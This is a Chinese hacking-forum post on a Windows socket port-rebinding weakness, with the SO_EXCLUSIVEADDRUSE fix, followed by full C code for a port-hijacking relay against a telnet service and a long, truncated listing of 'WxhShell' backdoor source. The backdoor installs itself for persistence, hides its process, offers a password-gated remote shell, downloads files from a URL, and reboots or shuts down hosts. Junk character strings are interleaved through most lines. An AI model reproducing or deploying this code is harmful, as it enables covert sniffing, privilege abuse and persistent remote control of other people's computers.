社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12492阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 65dMv*{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "FA. T7G  
>h\u[I$7  
  saddr.sin_family = AF_INET; Lo_+W1+  
xx>h J!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C 'MR=/sd  
!hZ: \&V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \Z3K ~  
-JF^`hBD-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [ 5}Q  
m{=Q88k!@.  
  这意味着什么?意味着可以进行如下的攻击: oRSA&h Ss  
-W1p=od  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j\IdB:}j  
64mEZ_kG,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eGq7+  
6QY;t:/<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P9'` 2c   
PIa!N Py  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~qeFSU(  
tF} ^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,G%UU~/a  
Znb7OF^#"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jhf3(hx&F  
p>+9pxx~U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xmcZN3 ){+  
-grf7w^  
  #include Y2QX<  
  #include g ass Od  
  #include b{ xlW }S  
  #include    S Dil\x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ebI2gEu;a  
  int main() >*h+ N? m  
  { ').) 0;  
  WORD wVersionRequested; Rv9jLH  
  DWORD ret; Zf@B< m  
  WSADATA wsaData; 30uPDDvar  
  BOOL val; H( i   
  SOCKADDR_IN saddr; o= ($'(1  
  SOCKADDR_IN scaddr; QcQ%A%VIV  
  int err;  A\Ib  
  SOCKET s; kJ FWk  
  SOCKET sc; /9G72AD!  
  int caddsize; Lcpe*C x-  
  HANDLE mt; 9%T"W  
  DWORD tid;   i^%$ydg  
  wVersionRequested = MAKEWORD( 2, 2 ); :}v-+eIQ  
  err = WSAStartup( wVersionRequested, &wsaData ); ;C$+8%P4  
  if ( err != 0 ) { i>YQ<A1  
  printf("error!WSAStartup failed!\n"); K#wA ;  
  return -1; }psRgF  
  } e9KD mX_  
  saddr.sin_family = AF_INET; YP_L~zZ  
   X%5eZ"1{x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PtbaC6"\  
X n!mdR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O[ird`/  
  saddr.sin_port = htons(23); -  /\qGI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;z4F-SYQ  
  { "g ^i%  
  printf("error!socket failed!\n"); zk8 )!Af  
  return -1; {s0%XG1$  
  } Y\-xX:n.\  
  val = TRUE; UrvUt$WO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dz9U.:C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z{0BH{23  
  { f+ceL'fr  
  printf("error!setsockopt failed!\n"); 8-nf4=ll  
  return -1; ~%/Rc`  
  } zg<-%r'$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; . |T=T0^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B]"`}jn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^_bG{du  
`sCaGCp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,-y9P  
  { XJ4f;U  
  ret=GetLastError(); NVv <vu  
  printf("error!bind failed!\n"); YK3>M"58  
  return -1; LOx+?4|y  
  } f"5O'QHGQK  
  listen(s,2); LN5LT'CE   
  while(1) DYr#?} 40  
  { 4@?0wV  
  caddsize = sizeof(scaddr); Ocx"s\q(  
  //接受连接请求 j1K3|E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w'H'o!*/  
  if(sc!=INVALID_SOCKET) a'i Q("  
  { 0!|d .jZI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0 jth}\9  
  if(mt==NULL) /]TNEU,K  
  { &ry*~"xoh  
  printf("Thread Creat Failed!\n"); elCYH9W^  
  break; `uMEK>b  
  } k <oB9J  
  } |NfFe*q0;8  
  CloseHandle(mt); ?J\&yJ_B  
  } }]vUr}Els  
  closesocket(s); :DN!1~ZtW  
  WSACleanup(); -XV,r<''  
  return 0; +'?Qph6o,7  
  }   | ;tH?E  
  DWORD WINAPI ClientThread(LPVOID lpParam) u< BU4c/p  
  { -&8( MT*  
  SOCKET ss = (SOCKET)lpParam; &R72$H9C8i  
  SOCKET sc; `$6o*g>:  
  unsigned char buf[4096]; &n  k)F<  
  SOCKADDR_IN saddr; Lj1l ]OD  
  long num; cJ96{+  
  DWORD val; =:WZV8@%  
  DWORD ret; Y_'ERqQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *DF3juf~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b&z#ZY  
  saddr.sin_family = AF_INET; lYx_8x2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zo3!Hs ZA  
  saddr.sin_port = htons(23); a$My6Qa#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bBjr hi  
  { <,]:jgX  
  printf("error!socket failed!\n"); p&<Ssc  
  return -1; Js,!G  
  } p27Dc wov  
  val = 100; l76=6Vtb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xsq@E#@S  
  { *'/,  
  ret = GetLastError(); 0WUBj:@g  
  return -1; k)p` x"To  
  } Y [`+7w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?*fa5=ql  
  { ^{+ry<rS>  
  ret = GetLastError(); 6 R6Ub 0  
  return -1; $p0nq&4c  
  } G$<(>"Yr~$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5p0~AN)  
  { AjVC{\Ik  
  printf("error!socket connect failed!\n"); m!V,W*RNr  
  closesocket(sc); k"N>pjgd$  
  closesocket(ss); yE$PLM  
  return -1; R}&?9tVRR  
  } :;k?/KU7  
  while(1) PF{uaKWk  
  { 66v,/#K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7d:]o>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /G||_Hc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 > G\0Z[<v,  
  num = recv(ss,buf,4096,0); gQ+]N*.  
  if(num>0) HXLnjXoe  
  send(sc,buf,num,0); 6>vR5pn  
  else if(num==0) sf> E  
  break;  >G]JwO  
  num = recv(sc,buf,4096,0); Q dj(D\.  
  if(num>0) wNf:_^|}  
  send(ss,buf,num,0); UUt"8]@[  
  else if(num==0) \((iR>^|  
  break; dfDjOZSL  
  } m%HT)`>bg  
  closesocket(ss); p*g Fr hm  
  closesocket(sc); Xoe|]@U`  
  return 0 ; S,&LH-ps   
  } ;wv[';J  
^h[6{F~J  
1W USp;JMl  
========================================================== @.t +  
'oa.-g5  
下边附上一个代码,,WXhSHELL o=m5AUe?J  
7)rQf{q7  
========================================================== W5R/Ub@g  
m}]{Y'i]R  
#include "stdafx.h" k<9,Ypa  
tr0b#4  
#include <stdio.h> .n 9.y8C  
#include <string.h> V._-iw]v  
#include <windows.h> 9 [eiN  
#include <winsock2.h> bxXpw&  
#include <winsvc.h> GkAd"<B  
#include <urlmon.h> -X.#Y6(  
14,)JZN  
#pragma comment (lib, "Ws2_32.lib") UTA|Ps$  
#pragma comment (lib, "urlmon.lib") k[Em~>m  
H=/1d.p  
#define MAX_USER   100 // 最大客户端连接数 ]iV ]7g8:  
#define BUF_SOCK   200 // sock buffer < 5zR-UA>  
#define KEY_BUFF   255 // 输入 buffer VUP|j/qD  
VfnL-bDGV  
#define REBOOT     0   // 重启 W|PAI [N  
#define SHUTDOWN   1   // 关机 j=0kxvp  
l)u%`Hcn  
#define DEF_PORT   5000 // 监听端口 !wYN",R-  
?JuJu1  
#define REG_LEN     16   // 注册表键长度 pH'Tx>  
#define SVC_LEN     80   // NT服务名长度 ^twyy9VR  
^ D0"m>3r  
// 从dll定义API 579Q&|L.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e,(Vy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <a R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UylIxd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _}{KS, f]0  
l6'KIg  
// wxhshell配置信息 @-q,%)?0}=  
struct WSCFG { )]>t(  
  int ws_port;         // 监听端口 ]3,'U(!+  
  char ws_passstr[REG_LEN]; // 口令 d6i}xnmC  
  int ws_autoins;       // 安装标记, 1=yes 0=no EjPR+m  
  char ws_regname[REG_LEN]; // 注册表键名 *bK=<{d1P  
  char ws_svcname[REG_LEN]; // 服务名 Y>$5j}K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e~vO   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +)c<s3OCE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q;K]NP-_p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @&*TGU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Wtf24'o;v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _S_,rTf&  
F8%^Ed~@  
}; 4M C]s~n  
6~dAK3v5  
// default Wxhshell configuration O"\4[HE^  
struct WSCFG wscfg={DEF_PORT, S^s-md>  
    "xuhuanlingzhe", Ar%*NxX  
    1, M6-uTmN:d  
    "Wxhshell", '(K4@[3t  
    "Wxhshell", dsIbr"m  
            "WxhShell Service", 5<Kt"5Z%7  
    "Wrsky Windows CmdShell Service", B)q}]Qn  
    "Please Input Your Password: ", a^_K@  
  1, iwnGWGcuS  
  "http://www.wrsky.com/wxhshell.exe", I Fw7?G,  
  "Wxhshell.exe" AD   
    }; J.iz%8  
<Sot{_"li  
// 消息定义模块 )CXlPbhY?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =eA|gt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yzEyOz@Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UP#@gxF  
char *msg_ws_ext="\n\rExit."; *zRig|k!H  
char *msg_ws_end="\n\rQuit."; Q<>u) %92@  
char *msg_ws_boot="\n\rReboot..."; TG=A]--_a  
char *msg_ws_poff="\n\rShutdown..."; /  Xnq0hN  
char *msg_ws_down="\n\rSave to "; l>*X+TpA,  
L|[i<s;  
char *msg_ws_err="\n\rErr!"; ]ZLF=  
char *msg_ws_ok="\n\rOK!"; O72g'qFPE  
5Sl"1HL  
char ExeFile[MAX_PATH]; -zECxHj x  
int nUser = 0; CH7a4qL`  
HANDLE handles[MAX_USER]; W=Syo&;F8  
int OsIsNt; $NCvF'  
Bo:epus}\  
SERVICE_STATUS       serviceStatus; -w+.'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s(_z1  
?g1eW q&  
// 函数声明 O+!4KNN.-  
int Install(void); sm##owI  
int Uninstall(void); qiOtbH=  
int DownloadFile(char *sURL, SOCKET wsh);  %LnLB  
int Boot(int flag); >V.?XZ nt  
void HideProc(void); 33%hZ`/>  
int GetOsVer(void); GUL~k@:_k  
int Wxhshell(SOCKET wsl); WD4"ft  
void TalkWithClient(void *cs); ^Zl[#:EFP  
int CmdShell(SOCKET sock); /CALX wL  
int StartFromService(void); -3(*4)h7  
int StartWxhshell(LPSTR lpCmdLine); PE{<' K\g  
1 F:bExQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +1#;s!e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K^x{rn.Zf  
A8ViJ  
// 数据结构和表定义  +At [[  
SERVICE_TABLE_ENTRY DispatchTable[] = ) `{jPK*`  
{ /yU#UZ4;  
{wscfg.ws_svcname, NTServiceMain}, ?z&n I#  
{NULL, NULL} shB3[W{}!)  
}; jl59;.P  
e# Y{YtE  
// 自我安装 (6c/)MH  
int Install(void)  LcLHX  
{ N+~ MS3  
  char svExeFile[MAX_PATH]; [( xPX  
  HKEY key; p#c41_?'e  
  strcpy(svExeFile,ExeFile); YUSrZ9Yg  
. LAB8bg  
// 如果是win9x系统,修改注册表设为自启动 i:Y5aZc/Ds  
if(!OsIsNt) { jR\pYRK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,'C*?mms  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6[t(FcS  
  RegCloseKey(key); 7 @\i5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p` ~=v4;b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "3_X$`v"!  
  RegCloseKey(key); t=lDN'\P  
  return 0; w[a(I} x  
    } &fRz6Hd  
  } Na`> pH  
} NxJnU<g-  
else { h_-4Q"fb(  
wv3*o10_w8  
// 如果是NT以上系统,安装为系统服务 q%d,E1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^vm6JWwN0B  
if (schSCManager!=0) "E<+idoz  
{ v2gk1a &  
  SC_HANDLE schService = CreateService BZLIi O  
  ( .{eMN[ n@  
  schSCManager, Z<<=2Xl(  
  wscfg.ws_svcname, _an 0G?7  
  wscfg.ws_svcdisp, q4X( _t  
  SERVICE_ALL_ACCESS, BN&)5M?Xt6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nh7_ jEX  
  SERVICE_AUTO_START, UvMkL  
  SERVICE_ERROR_NORMAL, _zbIS&4  
  svExeFile, /IcGJ&;  
  NULL, Q~.t8g/  
  NULL, ~(*tcs]hY  
  NULL, x+~!M:fAc9  
  NULL, P,zQl;  
  NULL /7#MJH5b6  
  ); :}36;n<['  
  if (schService!=0) {1=|H$wKg  
  { ?(zCv9Pg  
  CloseServiceHandle(schService); U6|T<bsOl  
  CloseServiceHandle(schSCManager); l4mRNYv)z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W*iTg%a\k  
  strcat(svExeFile,wscfg.ws_svcname); nGX3_-U4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qu#xc0?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zT}vaU 6  
  RegCloseKey(key); R68:=E4  
  return 0; W3ms8=z  
    } s;Bh69  
  } ]'n4e*  
  CloseServiceHandle(schSCManager); YeT{<9p  
} K%`]HW@I{  
} 4cy,'B  
AEM;ZQU  
return 1; DXj>u9*%  
} yQ^,>eh  
QiA}0q3]0  
// 自我卸载 D HQxu4  
int Uninstall(void) c ?<)!9:  
{ #|+4`Gf^  
  HKEY key; tf54EIy5Y  
Q "NZE  
if(!OsIsNt) { f.j<VKF}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A ?tna6W:  
  RegDeleteValue(key,wscfg.ws_regname); *BrGh  
  RegCloseKey(key); izcjI.3e,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [QMN0#(h  
  RegDeleteValue(key,wscfg.ws_regname); @x*xgf  
  RegCloseKey(key); {m3#1iV9  
  return 0; J:'_S `J  
  } z80(+ `   
} C}uzzG6s  
} G*_]Lz(N  
else { T)<^S(5 7  
 96;5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sk07|9nU  
if (schSCManager!=0) O..{wdZy  
{ ^AI02`c.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *otgI"y\  
  if (schService!=0) H;<>uE Lie  
  { `z q+Xl  
  if(DeleteService(schService)!=0) { z{ M2tLNb  
  CloseServiceHandle(schService); K2Ro0  
  CloseServiceHandle(schSCManager); D=%1?8K  
  return 0;  %nUN  
  } y5*zyd  
  CloseServiceHandle(schService); IDf\! QGx  
  } }'}n~cA.{  
  CloseServiceHandle(schSCManager); %${$P+a`D  
} /Q)I5sL@E  
} `<~=6H  
8G$BQ  
return 1; <L*`WO]\l  
} wA 7\K~fHV  
#X1a v  
// 从指定url下载文件 7. $wK.  
int DownloadFile(char *sURL, SOCKET wsh) >}+R+''nR  
{ :81d~f7  
  HRESULT hr; {A< 961  
char seps[]= "/"; h|PC?@jp  
char *token; 6~jAh@-  
char *file; 1_!?wMo:f  
char myURL[MAX_PATH]; :_xfi9L~W0  
char myFILE[MAX_PATH]; 7f k)a  
~a4Y8r  
strcpy(myURL,sURL); ex`T 9j.=B  
  token=strtok(myURL,seps); ~uq010lMno  
  while(token!=NULL) `YwJ.E  
  { $nW9VMa  
    file=token; ?Bq^#i |m  
  token=strtok(NULL,seps); 8 3/WWL }  
  } LauGT* z!  
m3o -p   
GetCurrentDirectory(MAX_PATH,myFILE); oR~d<^z(  
strcat(myFILE, "\\"); ){)-}M  
strcat(myFILE, file); =Yl ea,S  
  send(wsh,myFILE,strlen(myFILE),0); dR_6j}  
send(wsh,"...",3,0); (_@]-   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jTg~]PQ^  
  if(hr==S_OK) 5_](N$$  
return 0; d^M*%az  
else !x ~s`z  
return 1; "P|n'Mx  
WvArppANo  
} iFI+W<QR  
f@Jrbg  
// 系统电源模块 ?M|1'`!c8  
int Boot(int flag) {irc~||4  
{ m44a HBwId  
  HANDLE hToken; ^$% Sg//  
  TOKEN_PRIVILEGES tkp; (y6}xOa(  
:Cx|(+T  
  if(OsIsNt) { 9M($_2,44  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :2M&C+f[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'Nt)7U>oC9  
    tkp.PrivilegeCount = 1; *U%3 [6hm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H#V&5|K%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >EFWevT{  
if(flag==REBOOT) { g"|>^90  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FP=27=  
  return 0; +'5I8FE-  
} Q~0>GOq*  
else { ffR%@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y-y yg4JH  
  return 0; 573,b7Yf  
} /RqWrpzx@  
  } R3a}YwJFXF  
  else { ^Y+C!I  
if(flag==REBOOT) { *{+{h;p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #O;JV}y  
  return 0; rq!*unJ  
} (&Lt&i _  
else { ?$)5NQB%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RzL(Gnb  
  return 0; #z%D d{E  
} :8oJG8WH  
} ~AYleM  
(?t}S.>g  
return 1; *-5N0K<kQ  
} Q0K$ZWM`7  
.?QYqGcG  
// win9x进程隐藏模块 dTK0lgkUE  
void HideProc(void) $fg@g7_:  
{ 8Vj'&UY  
7p2xst  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I_z(ft.  
  if ( hKernel != NULL ) TbNH{w|p  
  { MaHP):~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;9h;oB@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %EVgSF!r  
    FreeLibrary(hKernel); D@68_sn  
  } O8bxd6xb  
K6-M.I  
return; |]@Pq[Hn|  
} 3Y2~HuM  
<C(o0u&/  
// 获取操作系统版本 !*"fWahv  
int GetOsVer(void) aif;h! ?y  
{ /A-WI x  
  OSVERSIONINFO winfo; P][jB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /qIl)+M  
  GetVersionEx(&winfo); rq8 d}wj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lcm [l  
  return 1; Z#H<+S(  
  else  =s4(Y  
  return 0; W +ER'lX  
} jmk Ou5@  
dV'EiNpf  
// 客户端句柄模块 *QiQ,~Ep  
int Wxhshell(SOCKET wsl) rfEWh Vy(}  
{ f!#!  
  SOCKET wsh; %Rn*oV  
  struct sockaddr_in client; S=mqxIo@m  
  DWORD myID; m!%aB{e  
thJ~* 0^  
  while(nUser<MAX_USER) 6u+aP  
{ <R@,wzK  
  int nSize=sizeof(client); kc^,V|Nbq6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @pYEzizP7  
  if(wsh==INVALID_SOCKET) return 1; iI IXv  
'v V7@@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pCh v;  
if(handles[nUser]==0) w(6n  
  closesocket(wsh); <8^x Mjc  
else k[ro[E  
  nUser++; ,.W7Z~z  
  } pzz* >Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gk%@& TB/  
@ps(3~?7  
  return 0; |sReHt2)d  
} ;cI*"-I:F  
\4>,L_O  
// 关闭 socket =otO@22Np  
void CloseIt(SOCKET wsh) , [|aWT%9  
{ z6Ob X  
closesocket(wsh); Ck Nl;g l  
nUser--;  @;bBc  
ExitThread(0); !o /=,ZIx  
} D:_W;b)  
ccHf+=  
// 客户端请求句柄 | ]*3En:  
void TalkWithClient(void *cs) O1z]d3x  
{ LWF,w7v[L  
K] (*l"'U5  
  SOCKET wsh=(SOCKET)cs; cl%+m  
  char pwd[SVC_LEN]; V]p{jLG  
  char cmd[KEY_BUFF]; Mu? |<#s  
char chr[1]; (h3L=  
int i,j; m$W >~  
E&P2E3P  
  while (nUser < MAX_USER) { C_Ewu*T7  
'k X8}bx  
if(wscfg.ws_passstr) { H&)}Z6C"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +P2oQ_Fk`9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !5o j~H  
  //ZeroMemory(pwd,KEY_BUFF); @b,Az{EH  
      i=0; 9 %T??-  
  while(i<SVC_LEN) { "=djo+y  
5G f@n/M"  
  // 设置超时 T+<.KvO-  
  fd_set FdRead; .$18%jH#  
  struct timeval TimeOut; $8=|<vt  
  FD_ZERO(&FdRead); } a9Ah:.7/  
  FD_SET(wsh,&FdRead); 0ra'H/>Ly  
  TimeOut.tv_sec=8; gw]%: WeH  
  TimeOut.tv_usec=0; ;miif  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l;lrf3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G#n 4g :K  
0X=F(,>9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <&3P\aM>  
  pwd=chr[0]; t}YcB`q)  
  if(chr[0]==0xd || chr[0]==0xa) { ?*fY$93O  
  pwd=0; vk92j?  
  break; b6N[t _,  
  } p{g4`o  
  i++; C`[<6>&y  
    } 8:,($a/KF  
kFn/dQ4|  
  // 如果是非法用户,关闭 socket m4mE7Wn.3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O[Vet/^)  
} Muo E~K2  
<\^0!v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QqA=QTZ}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v'W{+>.  
h_%q`y,  
while(1) { .^Sgl o  
VeYT[Us"  
  ZeroMemory(cmd,KEY_BUFF); 7IX8ck[D  
v>8C}d^  
      // 自动支持客户端 telnet标准   OETo?Wg1Z  
  j=0; 7~Y\qJ4b  
  while(j<KEY_BUFF) { MCKN.f%lP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g#J` 7n  
  cmd[j]=chr[0]; PI9,*rOy  
  if(chr[0]==0xa || chr[0]==0xd) { UMoj9/-  
  cmd[j]=0; }L\;W:0  
  break; 3p%e_?  
  } DB/~Z  
  j++; mmTpF]t ?`  
    } 7Sx|n}a-3  
0k]ApW  
  // 下载文件 ?jmP] MM  
  if(strstr(cmd,"http://")) { DrK]U}3fh"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z0,jg)sA4  
  if(DownloadFile(cmd,wsh)) V}jGxt0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B9maz"lJ  
  else XO+BZB`F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M/N8bIC! Q  
  } vO}r(kNJ  
  else { \SWTP1  
*uc/| c  
    switch(cmd[0]) {  IO\l8G  
  ^A$=6=CX  
  // 帮助 DrJ?bG;[  
  case '?': { d:%b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K./qu^+k  
    break; ;TAj;Tf]H  
  } |N)Ik8  
  // 安装 Q{[@n  
  case 'i': { jI ol`WX  
    if(Install()) ?qgQ)#6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(gXvgrf[  
    else %K6veB{M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c1#0o) q*7  
    break; Xw?DN*`L  
    } nK>CPqB^(  
  // 卸载 YX$(Sc3.6  
  case 'r': { )~ ( *q  
    if(Uninstall()) BEDkyz;:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yf&g\ke  
    else O^L]2BVC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i2=- su  
    break; W/Dd7 G#IC  
    } L@N %S Sf  
  // 显示 wxhshell 所在路径 D=e*rrL7a  
  case 'p': { 8y LcTA$T  
    char svExeFile[MAX_PATH]; }]x \ `}o  
    strcpy(svExeFile,"\n\r"); /K:r4Kw  
      strcat(svExeFile,ExeFile); }Fe6L;^;  
        send(wsh,svExeFile,strlen(svExeFile),0); j4~(6Imm  
    break; @8L5 UT  
    } Y%KowgP\  
  // 重启 `"5U b,~  
  case 'b': { ;UQGi}?CD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %_(vSpk  
    if(Boot(REBOOT)) FM {f{2j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $L*gtZ  
    else { q0.!T0i  
    closesocket(wsh); cl& w/OJ#  
    ExitThread(0); (i~UH04r>s  
    } c4H6I~2Na  
    break; =7 l uV_5  
    }  r h*F  
